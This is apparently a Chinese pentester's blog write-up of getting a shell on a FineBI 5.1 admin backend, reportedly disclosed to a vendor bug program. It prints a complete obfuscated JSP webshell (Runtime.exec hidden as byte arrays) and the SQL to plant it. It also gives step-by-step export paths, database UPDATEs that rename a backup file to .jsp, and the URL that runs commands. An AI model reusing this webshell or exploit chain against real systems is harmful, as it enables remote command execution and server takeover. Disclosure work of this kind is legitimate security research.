记一次曲折的后台getshell过程
最近团队在对某个厂商进行测试,辛辛苦苦搞了快一个星期才拿到一个 shell,弟弟太惨了
0x01 开始复现
访问url进入登录界面,输入管理密码进入页面
请装作没有看到我那个失败的XSS,过了这么久也忘记了在哪里改回来了
进入页面
我这咋一看,我丢这不是和通某OA差不多吗,当初通某OA刚发的时候,全是XSS,越权,SQL注入,未授权啥的,那时候也是更上了那次风,小赚了一笔
好了,不扯皮了,正式开始复现,进入页面后,点击数据准备
添加一个业务包,点击进去后发现可以添加数据表
再一看右上角有一个全局更新,点进入一看,我丢,数据表内容可以任意位置存放。
看到之后,心想这不就翱翔了嘛,系统管理处好像有个添加数据库连接,这波就直接在本地数据库插入一个马子,再到这里一连接,然后一添加表,再一导出,不就直接getshell啦
直接开始操作,进入本地数据库,选择phpstudy创建数据库自带的sys数据库,进入再创建一个test表
use sys; create table test(test varchar(2555) not null);
在数据库中插入木马内容,因为是java环境就是插入jsp的马子
insert into test(test) values ('<%if(request.getParameter("cmd")!= null) {
Class rt = Class.forNama(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(
rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null),
request.getParameter("cmd"));
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a = in.read(b)) != -1) {
out.println(new String(b));
}
out.print("");}
%>');
回到系统中,将自己数据库添加进去,系统管理-数据连接-数据连接管理-新建数据连接
选择mysql,添加配置
测试连接
回到数据准备处
找到我们创建的test数据库中test的数据表,确定
查看我们的马子:
点击全局更新,修改下路径,注:因为路由问题,是无法直接访问的,需要放到C:\FineBI5.1\webapps\webroot\scripts路径下,但因为目录下必须为空,所以需要在前面随意添加目录,它会自动创建
点击立刻更新多维数据库
注:它默认会有很多数据,建议提前全部删除,我这里之前已经删了,就不搞了
查看文件是否到了指定目录,文件位置在
C:\FineBI5.1\webapps\webroot\scripts\admin\db\T_C162F2\super\P-1\S-1
下
查看文件中
然后我们就发现了一个很严重的问题…..不是 jsp 后缀,这不就当场裂开了吗
但是现在就差着临门一脚,怎么可能半途放弃,现在能解决我现在就两种方法了,文件包含,和任意文件名修改了,不过java站好像没有文件包含吧,手动滑稽,现在就只能一条路了,任意文件名修改,其实的话,原本是有一个的。。。但是是我朋友先发现的,就提交给某天了,导致没得用,现在就简单的给大家看一下
就是这个位置,任意文件名修改,用个burp抓个包改就好了,具体就不演示了,然后还有什么办法呢,想了一天之后,终于给我找到了一处可能可以的
位置在:管理系统-智能运维-备份还原处
看到左上角角落里躲着一直设置的图标,点击一下
可以看到这又是一个任意文件存放,但是没啥用因为我们要的是任意文件名修改,所以主题不在这里,随意改一下备份路径等下好找,保持,回到页面,点击一下手动备份,名字随意
现在重点来了,拿小本本记号,必考
勾选之前的备份,开启 burp,点击重命名
发现好像只有一个ID来判断文件,没有指定文件名,当时脑子就一晃,难道我就真的不能getshell了吗?
不不不,仔细一想,它好像走的是数据库欸,然后一个ID和一个name,那么数据库中必定包含着文件路径,要不然怎么修改,对了忘记给文件路径的图片了,文件目录在
C:\FineBI5.1\webapps\webroot\backup\config\manual\
这么长的路径,不管怎么说都得有个路径吧,现在就进入数据库找一找,
不负所望有了路径,应该只需要backupName和savePath两个参数就可以实现任意文件名修改了
现在就会有人问了,怎么才能连接数据库呢,不着急且听我慢慢道来,在系统中有个管理权限,可以配置外接数据库,只要有一台外网服务器,一个符合数据库版本和允许远程登录的数据库,不就成了么
开始实现:
位置在:管理系统-系统管理-常规-外接数据库
家境贫寒没有服务器,就找个我兄弟的服务用了一下,等下和他意思意思一下就可以了,现在说一下为什么要配置外接数据库,Finebi5.1 配置了外接,内容所有数据都会存入外接数据库当中,然后….手动滑稽
注意数据库版本是被指定的
咳咳,回到正题,现在我们开始修改数据库内容,至于表怎么找到的,别问,问就是一个一个翻
update fine_backup_node set backupName="col-0-dic" where backupName='2020.12.29_10.11.24123';
update fine_backup_node set savePath="../scripts/admin/db/T_C162F2/super/P-1/S-1" where savePath='../backup/config/manual';
再次查看发现已经修改成功
这里说一下,为什么是把文件名改为col-0-dic,而不是直接加上jsp,因为它这个是会在指定的那个路径去寻找文件,如果改为col-0-dic.jsp,就找不到文件了,所以现在就开始快乐的修改文件名环节
修改数据库后,回到系统后,刷新
可以看到文件名已经修改,现在开始重命名添加上 jsp 后缀
保存,到主机上查看
发现已经被修改,访问执行whoami,参数cmd,GET请求
IP:端口/webroot/scripts/admin/db/T_C162F2/super/P-1/S-1/col-0-dic.jsp?cmd=whoami
成功了,历时五天六个小时,终于 getshell 了
0x04 结语
现在就是已经拿到 shell 权限了,因为是用管理权限运行的,至少都是一个管理员权限,不就想干啥干啥了,然后其中还有很多很多挫折的,试了很多很多方法,才找到一个(果然还是我太菜),但还是不负众望(相关漏洞已提交至某天 src)
还没有评论,来说两句吧...